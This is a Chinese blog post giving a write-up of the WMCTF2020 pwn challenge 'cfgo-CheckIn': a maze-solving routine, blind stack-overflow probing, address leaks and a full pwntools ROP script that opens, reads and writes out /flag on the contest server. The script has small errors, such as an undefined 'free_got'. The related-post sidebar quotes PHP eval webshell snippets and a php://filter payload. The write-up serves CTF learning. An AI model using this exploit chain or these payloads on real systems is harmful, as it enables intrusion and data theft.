【pwn】WMCTF2020 cfgo-CheckIn

2020WMCTF cfgo_CheckIn题解 周六周日刚打了打,战队里一共出了两道题。分别是cfgo_CheckIn跟mengyedekending。我的话是一直在做cfgo_CheckIn,mengyedekending由战队里的whalien51冲出来的。我暂时没有复现。就先写下这个cfgo_CheckIn的wp 详细解释的话放到我的博客站上 不太明白的湿傅们可以去我的博客上看下具体实现 思路 编写破解迷宫算法,然后栈溢出就行了。 # -*- coding: utf-8 -* from pwn import * from LibcSearcher 阅读详情

拿到二进制后先解UPX,解完后发现程序还是很复杂,发现是cgo,做题的时候不知道有没有这种的插件支持,问了下做逆向的队友,似乎插件版本没有更新到这个版本,静态分析没有进展,先看看远程服务是跑啥的。
在这里插入图片描述
一个迷宫,走到旗子的位置就行了,一共100关,一波深搜就行了,解决了100关后出现了。
在这里插入图片描述
在二进制中搜索字符串无果,就当blind pwn做了,输入name后程序就退出了,可能存在的漏洞格式化字符串以及溢出,尝试发现没有格式化字符串漏洞,然后尝试溢出。当输入了0x78个字符后发现出现了报错信息。这里报错信息还是很多的应该和go有关系,C的报错才不会和你多bb

io.sendline('b'*0x10+'a'*0x60+p64(0xdeadbeef))

在这里插入图片描述
报错信息为unexpected fault address,addr是0xdeadbeef,然后尝试只溢出一个字节。

io.sendline('b'*0x10+'a'*0x60+p8(0x10))

发现没有报错,但是输出数据出现奇怪的东西。
在这里插入图片描述
于是猜测这个地址是存放输入字符串的位置,所以这边存在一个任意地址读,但只有一个这个没啥用,还要继续往后溢出,但是这里输出的指针需要输入一个合法的地址,注意到上面报错中有fp,sp两个值是比较奇怪的地址,在本地测试发现进程中存在这一块地方的内存。在fp指向的地址附近测试,找到了输入数据的位置。多次测试发现这块内存空间的地址不会随机化。

io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70))

在这里插入图片描述
继续往后溢出。

io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p64(0xdeadbeef))

在这里插入图片描述
这时发现报错信息中pc变成了0xdeadbeef那么这里很有可能是函数的返回地址,那么溢出一个字节尝试,发现’\xce’可以返回到input name的那个逻辑中,并且从报错信息中可以bypass aslr,那就可以进一步利用了,剩下的就是基础的ROP了。在做题中发现system(’/bin/sh’)无法getshell(后来看了下Nu1L的解题,这里不用ret2libc,给的二进制程序中有足够的gadget可以直接系统调用,比赛的时候忘记看了)。尝试orw,这里有个需要注意的地方,在read的时候文件描述符3无法正确地读出flag的值。本地调试查看fdinfo发现fd是6。

from pwn import *

io=remote('81.68.174.63',62176)
ELF('./pwn')
#io=process('./pwn')
libc=ELF('./libc-2.31.so')	
#libc=ELF('./libc-2.23.so')

def check_valid(mg, x, y):
	if x >= 0 and x < len(mg) and y >= 0 and y < len(mg[0]) and mg[x][y] == 1:
		return True
	else:
		return False


for k in range(100):
	io.recvuntil('level')
	io.recvline()
	line=io.recvline()
	line1=[]
	for i in range(0,len(line[:-1]),3):
		line1.append(line[i]+line[i+1]+line[i+2])
	msg=[]
	t=[]
	for i in line1:
		if i=='\xe2\xac\x9b':
			t.append(0)
	msg.append(t)
	dstx=0
	dsty=0
	srcx=0
	srcy=0

	for j in range(len(line1)-1):
		t=[]
		line=io.recvline()
		linen=[]
		i=0
		while line[i]!='\n':
			if line[i]=='\xe2':
				if (line[i]+line[i+1]+line[i+2])=='\xe2\xac\x9b':
					t.append(0)
				else:
					t.append(1) 
				i+=3
			else:
				if (line[i]+line[i+1]+line[i+2]+line[i+3])=='\xf0\x9f\x9a\xa9':
					t.append(1)
					srcx=len(msg)
					srcy=len(t)-1
				else :				
					t.append(1)
					dstx=len(msg)
					dsty=len(t)-1
				i+=4	
		msg.append(t)
	
	path=""
	def walk(mg, x, y,path):

		s=path
		if x == srcx and y == srcy:
			io.sendline(s)
		if check_valid(mg, x, y):
			mg[x][y] = 2
			walk(mg, x, y+1,s+'d')
			walk(mg, x, y-1,s+'a')
			walk(mg, x-1, y,s+'w')
			walk(mg, x+1, y,s+'s')

	walk(msg, dstx, dsty,path)

io.recvuntil('your name:')
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p8('\xce')))
io.recvuntil('Your name is : ')
base=u64(io.recv(8))-0x1666c0
print(hex(base))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))

start_main=base+0x01EEFD0

io.sendline('b'*0x10+'a'*0x60+p64(start_main)+p64(0x20)+p64(0x20)+'a'*0x88+'\xce')
io.recvuntil('Your name is : ')
start_main_add=u64(io.recv(8))

libc_base=start_main_add-libc.sym['__libc_start_main']

print(hex(libc_base))

pop_rdi=base+0x0109d3d

pop_rsi=libc_base+0x27529

pop_rdx=libc_base+0x011c1e1

write=libc_base+libc.sym['write']

fopen=libc_base+libc.sym['open']

read=libc_base+libc.sym['read']

ddir=libc_base+libc.sym['getdents64']

bss=base+0x21B9CD

main=base+0x1197CE

io.sendline('b'*0x10+'a'*0x60+p64(free_got)+p64(0x20)+p64(0x20)+'a'*0x88+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(100)+p64(0)+p64(read)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(fopen)+p64(pop_rdi)+p64(6)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(read)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(write)+p64(main))

io.sendline('/flag\x00')

io.interactive()
2022 DASCTF X SU pwn checkin 栈溢出16个字节 栈迁移打setvbuf的got表 改成puts泄露libc 利用即可。 阅读详情

相关推荐

ctfshow pwn题学习笔记

文章目录pwn入门pwn签到题pwn02 ctfshow pwn学习笔记(除堆部分)本菜逼不会堆 pwn入门 pwn签到题 nc 直接连 pwn02 查看保护 进入pwnme函数 发现fgets处存在栈溢出,s距离ebp为0x9,那么覆盖到返回地址的长度还要再加上0x4我是懒狗,没有gdb看,且程序中存在后门函数,地址为0x804850f exp: from pwn import * io = process("./stack") payload = b"a"*(0x9+0x4)+p32(0x804

Scarehehe的博客 7073

[SCTF2021 pwn] checkin

看上去说登录,以为是最简单的一题后来越作越想放弃,不过其它的也不会,用了半天的时间写了个程序,虽然不可能是预期的。但也算有结果。 先是给了个端口,然后就没有了。登上去提示爆4位sha256,这点没啥难度,由于有用的在后也所以肯定得写个小爆破程序,然后会返回base64编码的程序: from pwn import * import hashlib from base64 import b64decode import os context(arch='amd64') #nc 123.60.82.85

weixin_52640415的博客 1281

SUctf checkIn

看了道上传的关于.user.ini的题目,这里试着做一下 题目地址 buuctf checkln 打开题目,出现了简单的上传框 试着上传php文件 更改名称为phps,php3,php4,php5,Php,pphphp,都上传失败. 试试改为jpg 发现它对<?内容进行了检验。 我们可以构造这种形式的木马 <script language="php"> @eval($_P...

舞动的獾 733

2023 NCTF-PWN-【checkin】(AE64 取非 填满长度显示沙箱避免换行符干扰 1也是write 减少shellcode长度 bug exp )

如果jnz loop_write后面没有指令,是flag的字符,这个时候不知道为什么会跳转到一个奇怪的地方去,但如果再随便加条指令如pop rax就可以正常跳转了。read每次读一个,write也一样。

llovewuzhengzi的博客 1432

[WMCTF2020]Web Check in 2.0

启动靶机,打开发现源码 string(62) "Sandbox:/var/www/html/sandbox/cc551ab005b2e60fbdc88de809b2c4b1" <?php //PHP 7.0.33 Apache/2.4.25 error_reporting(0); $sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); var...

qq_62078839的博客 2042

WMCTF_2020官方WriteUp 高清PDF版

WMCTF_2020官方WriteUp.pdf WMCTF_2020官方WriteUp 高清PDF版

[GKCTF 2021]checkin调试与分析

目前笔者刚刚开始入门PWN,算是通过这题涨了点见识吧 主要函数: int sub_4018C7() { char buf[32]; // [rsp+0h] [rbp-20h] BYREF puts("Please Sign-in"); putchar(62); read(0, s1, 0x20uLL); puts("Please input u Pass"); putchar(62); read(0, buf, 0x28uLL); if ( str...

Tokameine的博客 1766

STM32G474的HRTIM实战:用CubeMX配置互补PWM驱动全桥电路(附移相算法代码)

本文详细介绍了如何使用STM32G474的HRTIM高分辨率定时器,通过CubeMX配置互补PWM驱动全桥电路,并附移相算法代码。内容涵盖HRTIM硬件架构解析、CubeMX配置全流程、移相控制算法实现及调试技巧,为数字电源和电机控制领域提供实用解决方案。

weixin_27017211的博客 482

WMCTF2020

web web_checkin 源码 <?php //PHP 7.0.33 Apache/2.4.25 error_reporting(0); $sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); highlight_file(__FILE__); if(isset($_GET['content'])) { $content = $_GET['content

qq_42158602的博客 1362

802.1AS-2011_Gptp协议栈

GPTP(广义时钟同步协议,或IEEE 802.1AS)的基本功能是确保局域网中所有的时钟都同步,并提供时间信息。这种协议用于在局域网中进行同步和时间对齐,其目的是确保网络中各设备的时间一致性。

weixin_49041703的博客 2543

【电子电力】IEEE33节点系统参数及拓扑图visio

IEEE33节点系统是一种广泛用于电力系统分析和研究的标准配电网络。该系统具有典型的辐射结构,适用于负载流分析、分布式发电优化及电力系统的可靠性评估。本报告主要基于IEEE33节点系统的拓扑图,讨论其在电子电力系统中的应用。通过MATLAB仿真分析了节点的电压分布、功率损耗等关键参数,并验证了系统的稳定性和有效性。

2401_84610415的博客 1万+

wmctf2020一道文件包含题目的理解

<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; } 题目特别简单 这里利用session.upload_progress进行文件包含 原理(引用别人的解释 + 我的理解 1.如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默

qq_53755216的博客 773

Flash芯片的VCC上电到可操作时间过长

Flash的VCC上电到操作时间(tVSL)通常有最大值限制,如果超过这个时间,核心风险是状态机不同步和指令锁存错误。比如芯片内部振荡器可能已经尝试启动又休眠了,但主控却在这之后才发送指令,导致完全 misinterpreted。Flash芯片的(从电源上电到可以正常进行读写操作的时间)如果过长,会产生一系列负面影响简单来说,这个时间过长意味着电源上升速度太慢,违反了芯片的要求。

qq_61918649的博客 722

2021羊城杯Web-wp

0x01涉及考点 laravel debug cve (CVE-2021-3129) ftp-redis打ssrf 0x02题目分析 扫目录发现一个文件中开启了6379端口和redis的dmp文件,推测要用redis来ssrf 之后了解了CVE-2021-3129 https://xz.aliyun.com/t/9030 大致是Ignition默认提供的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中可控f

Biodog的博客 770

Yolov5自学笔记之一--从入门到入狱,功能强大不要乱用(实现yolov5的基本功能使用流程及训练自己的数据集)

零基础自学yolov5,学会简单使用和训练自己的数据集,在自己工作中使用

qq_41597915的博客 1万+

告别Visual Studio!用MSYS2+GCC+CMake在Windows上打造Linux式C++开发环境(保姆级避坑)

本文详细介绍了如何在Windows上使用MSYS2+GCC+CMake搭建Linux式C++开发环境,替代Visual Studio。从MSYS2的安装配置、MinGW-w64 GCC工具链的部署,到CMake项目的创建与构建,提供了保姆级教程和常见问题解决方案,帮助开发者高效过渡到命令行开发模式。

weixin_30298497的博客 325

wmctf2020-记录-writeup

easy_re 题目描述:The flag is hidden in the perl code, can you find it? 使用ida打开发现是个64位的程序,看题目应该是perl脚本转成的exe程序,网上搜了下perl反编译得工具没有找到。 执行了一下如图: 使用ida查看字符串也没有找到 这俩字符串,点了动态调试,(以前没用过ida的动态调试, olldbg没法调试64位程序) 考虑应该会将perl代码加载到内存中,随便点了一些 提取内存快照后 搜索字符串找到了...

4568

基于STM32设计的盲人智能导盲杖

本设计基于STM32单片机,开发了一种面向视障人群的智能导盲杖系统。系统以STM32F103C8T6为核心控制器,集成了超声波测距、语音提示、环境光检测、GPS定位及4G通信等多种功能模块。

643

2022DASCTF X SU 三月春季挑战赛 checkin 各种脚本学习分析

只能溢出0x10个字节,刚好能够覆盖返回地址,所以得利用栈迁移来做 第一种:利用magic_gadget修改got表中setvbuf的值 在64位程序的_do_global_dtors_aux中有这么一个gadget十分有用,可以直接改栈数据magic_gadget:add dword ptr [rbp - 0x3d], ebx ; nop ; ret 利用read函数溢出,迁移栈到bss段上,然后通过一些小gadget调整寄存器的值来达到目的 出处:2022DASCTFXSU三月春季挑战赛-p

臭nana的博客 4939

Open3D 点到面的ICP配准算法【2025最新版】

点到面的ICP(python版本)博客长期更新,本文最近一次更新时间为:2025年2月2日,代码已更新至Open3D 0.18.0版本。

点云侠的博客 38万+

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

强网杯 签到re 签到pwn 题解

强网杯给打自闭了 最后也是没有进到第一页 比较可惜 不过手速快 抢到了 先锋的三血 感觉还不错 不得不说强网的反作弊做的真心不错 re 都能每个人的flag 不一样 真心可以 然后强网的 pwn题竟然还有用队伍 token来搞 真的秀 先说re 即可得出flag Just re 这个题目也算是签到题 首先要修复函数 虽然 上面xmmword_405018 变化...

qq_41071646的博客 2312

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

[WMCTF2020]easy_re

题目:[WMCTF2020]easy_re 64位无壳程序。 先在ida64里打开,发现找不到“please input the flag:”字符串,别的提示字符串也找不到, 再看文件名perl,选择网上搜索这个名词,但只了解到perl是个脚本语言, 推测是在程序运行过程中这些字符串才会显现出来,我目前所见过的能实现这样操作的也就SMC,但这题应该不是,可能是新的反静态分析的技术。 本能想到用X64dbg动态调试。 一键F9看它跑到哪里。 它停在了entrypoint处,看不出什么。为了找到那个字符串但

m0_46296905的博客 1116

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

buu-day09

Day9-懒狗来打卡了 0x01 [WMCTF2020]Web Check in 2.0 绕过死亡exit,这是基本操作了,但是需要找到新的过滤器。懒狗想到这里就去看wp了。 =php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=6.php 还有一种方法是segment,就是那个qwb2021才考过的知识点。需要爆破,就不多说了 0x02 [CISCN2019

anwen12的博客 773

我劝你千万不要去做CSGO游戏搬砖

只要选择可靠的充值渠道,且最好分散充值,鸡蛋不放在同一篮子里,根据老师教的步骤操作,不激进不过分,风险可以得到很大程度的降低。全职操作或只有一个人操作的一般在10000到20000元之间,而工作室则根据人数的不同会有利润上的差异,一般在30000到100000之间,毕竟三四个人也可以称为一个工作室,一二十个人也可以称为一个工作室,因此利润肯定不尽相同。去年和今年,这个行业的收入水平其实下降了很多,无论是国际汇率的上涨、卡价的上涨,还是工作室和各种科技党的介入,都让平均收益率的水平线降低了不少。

weixin_43778344的博客 1633

WMCTF2020 web之web_checkin

这道题是自己没有做出来,当时也没有认真做,最后看看来NU1L的wp才知道思路。 NU1L真的太强了,向他们看齐!!! 题目:web_checkin <?php //PHP 7.0.33 Apache/2.4.25 error_reporting(0); $sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);//remote_addr代表客户端的IP @mkdir($sandbox);//创建一个文件 @chdir($sandbox);.

Firebasky的博客 3156

【Pwn】NCTF2019 pwn me 100 years! (Ⅲ)

main函数 首先创建了一个0x10大小的堆块,最后如果这个堆块的值为0x66666666那么执行/bin/sh。那么想办法分配到这块内存空间即可。 看看中间的菜单,找到漏洞在edit函数中,read为固定的0x20个字节,由于最小堆块的大小是0x10,共享pre_size的8个字节,0x10和0x18分配的大小都是0x10字节,所以存在0x10个字节的溢出,但是0x10大小的字节只能覆盖到...

Nothing 8486
上一篇: 【pwn】oooorder
下一篇: 【pwn】未知libc版本利用的一个蠢方法
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值